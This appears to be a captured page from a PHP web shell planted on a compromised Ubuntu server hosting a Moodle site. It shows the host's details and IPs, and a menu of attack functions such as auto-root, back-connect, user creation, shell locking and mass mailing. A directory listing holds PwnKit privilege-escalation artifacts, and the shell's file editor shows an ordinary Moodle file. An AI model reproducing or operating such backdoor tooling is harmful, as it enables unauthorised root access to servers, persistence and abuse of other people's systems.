Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
feedback /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
item
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
6.8
KB
-rwxrwxrwx
TODO.txt
137
B
-rwxrwxrwx
ajax.php
1.86
KB
-rwxrwxrwx
analysis.php
5.23
KB
-rwxrwxrwx
analysis_course.php
8.74
KB
-rwxrwxrwx
analysis_to_excel.php
11.37
KB
-rwxrwxrwx
choose_group_form.php
902
B
-rwxrwxrwx
complete.php
24.03
KB
-rwxrwxrwx
complete_guest.php
21.11
KB
-rwxrwxrwx
delete_completed.php
3.81
KB
-rwxrwxrwx
delete_completed_form.php
1.83
KB
-rwxrwxrwx
delete_item.php
2.92
KB
-rwxrwxrwx
delete_item_form.php
1.63
KB
-rwxrwxrwx
delete_template.php
8
KB
-rwxrwxrwx
delete_template_form.php
1.64
KB
-rwxrwxrwx
edit.php
18.43
KB
-rwxrwxrwx
edit_form.php
7.49
KB
-rwxrwxrwx
edit_item.php
4.2
KB
-rwxrwxrwx
export.php
5.32
KB
-rwxrwxrwx
feedback.js
838
B
-rwxrwxrwx
import.php
8.99
KB
-rwxrwxrwx
import_form.php
2.29
KB
-rwxrwxrwx
index.php
3.76
KB
-rwxrwxrwx
lib.php
100.06
KB
-rwxrwxrwx
mapcourse.php
5.46
KB
-rwxrwxrwx
mod_form.php
8.49
KB
-rwxrwxrwx
print.php
4.34
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
1.07
KB
-rwxrwxrwx
show_entries.php
14.34
KB
-rwxrwxrwx
show_entries_anonym.php
9.8
KB
-rwxrwxrwx
show_nonrespondents.php
11.79
KB
-rwxrwxrwx
styles.css
1.65
KB
-rwxrwxrwx
tabs.php
3.49
KB
-rwxrwxrwx
unmapcourse.php
1.93
KB
-rwxrwxrwx
use_templ.php
4.69
KB
-rwxrwxrwx
use_templ_form.php
2.06
KB
-rwxrwxrwx
version.php
1.24
KB
-rwxrwxrwx
view.php
11.79
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mapcourse.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * print the form to map courses for global feedbacks * * @author Andreas Grabs * @license http://www.gnu.org/copyleft/gpl.html GNU Public License * @package feedback */ require_once("../../config.php"); require_once("lib.php"); require_once("$CFG->libdir/tablelib.php"); $id = required_param('id', PARAM_INT); // Course Module ID, or $searchcourse = optional_param('searchcourse', '', PARAM_NOTAGS); $coursefilter = optional_param('coursefilter', '', PARAM_INT); $courseid = optional_param('courseid', false, PARAM_INT); $url = new moodle_url('/mod/feedback/mapcourse.php', array('id'=>$id)); if ($searchcourse !== '') { $url->param('searchcourse', $searchcourse); } if ($coursefilter !== '') { $url->param('coursefilter', $coursefilter); } if ($courseid !== false) { $url->param('courseid', $courseid); } $PAGE->set_url($url); if (($formdata = data_submitted()) AND !confirm_sesskey()) { print_error('invalidsesskey'); } $current_tab = 'mapcourse'; if (! $cm = get_coursemodule_from_id('feedback', $id)) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id"=>$cm->course))) { print_error('coursemisconf'); } if (! $feedback = $DB->get_record("feedback", array("id"=>$cm->instance))) { print_error('invalidcoursemodule'); } $context = context_module::instance($cm->id); require_login($course, true, $cm); require_capability('mod/feedback:mapcourse', $context); if ($coursefilter) { $map = new stdClass; $map->feedbackid = $feedback->id; $map->courseid = $coursefilter; // insert a map only if it does exists yet $sql = "SELECT id, feedbackid FROM {feedback_sitecourse_map} WHERE feedbackid = ? AND courseid = ?"; if (!$DB->get_records_sql($sql, array($map->feedbackid, $map->courseid))) { $DB->insert_record('feedback_sitecourse_map', $map); } } /// Print the page header $strfeedbacks = get_string("modulenameplural", "feedback"); $strfeedback = get_string("modulename", "feedback"); $PAGE->set_heading(format_string($course->fullname)); $PAGE->set_title(format_string($feedback->name)); echo $OUTPUT->header(); require('tabs.php'); echo $OUTPUT->box(get_string('mapcourseinfo', 'feedback'), 'generalbox boxaligncenter boxwidthwide'); echo $OUTPUT->box_start('generalbox boxaligncenter boxwidthwide'); echo '<form method="post">'; echo '<input type="hidden" name="id" value="'.$id.'" />'; echo '<input type="hidden" name="sesskey" value="'.sesskey().'" />'; $sql = "select c.id, c.shortname from {course} c where ".$DB->sql_like('c.shortname', '?', false)." OR ".$DB->sql_like('c.fullname', '?', false); $params = array("%{$searchcourse}%", "%{$searchcourse}%"); if (($courses = $DB->get_records_sql_menu($sql, $params)) && !empty($searchcourse)) { echo ' '. html_writer::label(get_string('courses'), 'menucoursefilter', false). ': '; echo html_writer::select($courses, 'coursefilter', $coursefilter); echo '<input type="submit" value="'.get_string('mapcourse', 'feedback').'"/>'; echo $OUTPUT->help_icon('mapcourses', 'feedback'); echo '<input type="button" '. 'value="'.get_string('searchagain').'" '. 'onclick="document.location=\'mapcourse.php?id='.$id.'\'"/>'; echo '<input type="hidden" name="searchcourse" value="'.$searchcourse.'"/>'; echo '<input type="hidden" name="feedbackid" value="'.$feedback->id.'"/>'; echo $OUTPUT->help_icon('searchcourses', 'feedback'); } else { echo '<input type="text" name="searchcourse" value="'.$searchcourse.'"/> '; echo '<input type="submit" value="'.get_string('searchcourses').'"/>'; echo $OUTPUT->help_icon('searchcourses', 'feedback'); } echo '</form>'; if ($coursemap = feedback_get_courses_from_sitecourse_map($feedback->id)) { $table = new flexible_table('coursemaps'); $table->baseurl = $url; $table->define_columns( array('course')); $table->define_headers( array(get_string('mappedcourses', 'feedback'))); $table->setup(); $unmapurl = new moodle_url('/mod/feedback/unmapcourse.php'); foreach ($coursemap as $cmap) { $coursecontext = context_course::instance($cmap->courseid); $cmapshortname = format_string($cmap->shortname, true, array('context' => $coursecontext)); $cmapfullname = format_string($cmap->fullname, true, array('context' => $coursecontext)); $unmapurl->params(array('id'=>$id, 'cmapid'=>$cmap->id)); $anker = '<a href="'.$unmapurl->out().'">'; $anker .= '<img src="'.$OUTPUT->pix_url('t/delete').'" alt="Delete" />'; $anker .= '</a>'; $table->add_data(array($anker.' ('.$cmapshortname.') '.$cmapfullname)); } $table->print_html(); } else { echo '<h3>'.get_string('mapcoursenone', 'feedback').'</h3>'; } echo $OUTPUT->box_end(); echo $OUTPUT->footer();
Close